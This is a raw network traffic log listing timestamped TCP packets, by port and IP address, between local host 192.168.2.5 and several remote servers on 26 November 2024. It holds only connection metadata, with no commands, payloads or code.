Nov 26, 2024 10:09:26.432549000 CET	443	49806	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.432890892 CET	49796	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.432919025 CET	443	49796	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.459605932 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.459681988 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.459886074 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.460076094 CET	49805	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.460103035 CET	443	49805	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.486138105 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.487041950 CET	49797	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.487067938 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.487710953 CET	49797	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.487720966 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.510756969 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.510819912 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.510900021 CET	49786	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.511194944 CET	49786	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.511212111 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.511243105 CET	49786	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.511250973 CET	443	49786	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.514699936 CET	49815	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.514751911 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.514813900 CET	49815	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.515014887 CET	49815	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.515026093 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.523556948 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:26.523840904 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:26.523863077 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:26.525101900 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:26.525167942 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:26.526441097 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:26.526525021 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:26.531698942 CET	443	49783	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.531765938 CET	443	49783	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.531909943 CET	49783	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.532191038 CET	49783	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.532208920 CET	443	49783	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.536107063 CET	49816	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.536151886 CET	443	49816	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.536247969 CET	49816	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.536596060 CET	49816	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.536613941 CET	443	49816	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.563441992 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.563504934 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.563560963 CET	49782	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.564485073 CET	49782	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.564502954 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.564512968 CET	49782	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.564521074 CET	443	49782	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.570018053 CET	49817	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.570054054 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.570117950 CET	49817	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.570394993 CET	49817	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.570410013 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.695339918 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.695801973 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.695833921 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.696923971 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.696990013 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.697345018 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.697415113 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.697603941 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.697612047 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.703227043 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:26.703247070 CET	443	49808	18.165.220.106	192.168.2.5
Nov 26, 2024 10:09:26.828376055 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.870683908 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.870949984 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.870968103 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.872072935 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.872133017 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.872495890 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.872566938 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.872700930 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:26.883727074 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.883974075 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.884000063 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.885055065 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.885121107 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.886141062 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.886226892 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.886508942 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.886517048 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.900845051 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.901043892 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.901055098 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.902065992 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.902137995 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.902501106 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.902563095 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.902650118 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:26.905858040 CET	49808	443	192.168.2.5	18.165.220.106
Nov 26, 2024 10:09:26.919329882 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:26.931791067 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.931859016 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.932116032 CET	49797	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.933283091 CET	49797	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.933301926 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.933312893 CET	49797	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.933320045 CET	443	49797	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.942296982 CET	49818	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.942339897 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:26.942636013 CET	49818	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.943337917 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:26.943741083 CET	49818	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:26.943764925 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.011404037 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:27.011415005 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.011440992 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.083338022 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:27.083416939 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:27.126499891 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.145713091 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.145792007 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.146009922 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.146075010 CET	49812	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.146092892 CET	443	49812	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.190045118 CET	49819	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.190072060 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.190135956 CET	49819	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.190340042 CET	49820	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.190372944 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.190541983 CET	49820	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.190768957 CET	49819	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.190782070 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.191128969 CET	49820	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.191143990 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.314558029 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:27.314626932 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:27.314838886 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:27.314913034 CET	49813	443	192.168.2.5	162.159.61.3
Nov 26, 2024 10:09:27.314929962 CET	443	49813	162.159.61.3	192.168.2.5
Nov 26, 2024 10:09:27.346772909 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.346885920 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.346973896 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.347152948 CET	49814	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:27.347167015 CET	443	49814	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:27.385080099 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.385107040 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.385113955 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.385139942 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.385149002 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.385160923 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.385166883 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:27.385207891 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.385227919 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:27.385274887 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:27.891168118 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.891181946 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.891204119 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.891244888 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:27.891244888 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:27.891279936 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.891335011 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:27.891585112 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.891606092 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.891671896 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:27.891681910 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:27.891730070 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.038238049 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.038264990 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.038320065 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.038352013 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.038369894 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.038399935 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.082104921 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.082138062 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.082185984 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.082251072 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.082259893 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.083297014 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.134253025 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.134272099 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.134341955 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.134351969 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.134639025 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.186233044 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.186254025 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.186363935 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.186376095 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.186414957 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.230837107 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.230906963 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.230935097 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.230963945 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.230979919 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.231010914 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.278490067 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.278544903 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.278583050 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.278597116 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.278630972 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.278651953 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.298290968 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.298311949 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.298379898 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.298404932 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.298468113 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.316448927 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.316468000 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.316518068 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.316564083 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.316570997 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.316644907 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.331156969 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.331175089 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.331213951 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.331223011 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.331248999 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.331248999 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.352663040 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.352686882 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.352730989 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.352757931 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.352773905 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.353013039 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.377598047 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.377635002 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.377670050 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.377680063 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.377711058 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.377728939 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.395826101 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.395860910 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.395936012 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.396132946 CET	49821	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.396155119 CET	443	49821	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.398372889 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.398394108 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.398461103 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.398487091 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.398535013 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.400101900 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:28.400232077 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:28.415885925 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.415906906 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.415956020 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.415968895 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.415997028 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.416021109 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.429240942 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.429261923 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.429333925 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.429352045 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.429393053 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.439333916 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.440061092 CET	49785	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.440093040 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.440813065 CET	49785	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.440818071 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.440886021 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.440916061 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.441001892 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.441024065 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.441072941 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.448787928 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:28.448954105 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.449007034 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.449022055 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.449032068 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.449053049 CET	49819	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:28.449060917 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.449073076 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:28.449081898 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.449415922 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:28.449474096 CET	49811	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.449489117 CET	443	49811	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.450335979 CET	49819	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:28.450417042 CET	443	49819	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:28.493542910 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:28.493992090 CET	49820	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:28.494015932 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:28.494359970 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:28.495104074 CET	49820	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:28.495172024 CET	443	49820	172.64.41.3	192.168.2.5
Nov 26, 2024 10:09:28.497401953 CET	49819	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:28.511821032 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.512444019 CET	49815	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.512478113 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.513226986 CET	49815	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.513236046 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.514431953 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.515224934 CET	49817	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.515248060 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.515798092 CET	49817	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.515806913 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.531186104 CET	443	49816	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.538908005 CET	49816	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.538923025 CET	443	49816	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.539535999 CET	49816	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.539541960 CET	443	49816	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.543246031 CET	49820	443	192.168.2.5	172.64.41.3
Nov 26, 2024 10:09:28.560220957 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.560264111 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.560574055 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.561460972 CET	49822	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.561477900 CET	443	49822	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.794415951 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.835165024 CET	49818	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.835180998 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.835778952 CET	49818	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.835784912 CET	443	49818	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.877974987 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.878020048 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.878226995 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.878304958 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.878356934 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.878413916 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.878544092 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.878588915 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.878695965 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.878707886 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.878724098 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.878845930 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.879185915 CET	49823	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.879196882 CET	443	49823	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.879326105 CET	49824	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.879354000 CET	443	49824	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.879554987 CET	49825	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.879580975 CET	443	49825	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.879712105 CET	49826	443	192.168.2.5	13.107.246.40
Nov 26, 2024 10:09:28.879726887 CET	443	49826	13.107.246.40	192.168.2.5
Nov 26, 2024 10:09:28.894226074 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.894310951 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.894431114 CET	49785	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.899020910 CET	49785	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.899040937 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.899054050 CET	49785	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.899059057 CET	443	49785	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.902437925 CET	49827	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.902475119 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:28.902643919 CET	49827	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.911218882 CET	49827	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:28.911238909 CET	443	49827	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.071043968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:29.124815941 CET	443	49817	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.124820948 CET	443	49816	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.124825001 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.124890089 CET	443	49815	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:29.124891996 CET	443	49816	13.107.246.63	192.168.2.5
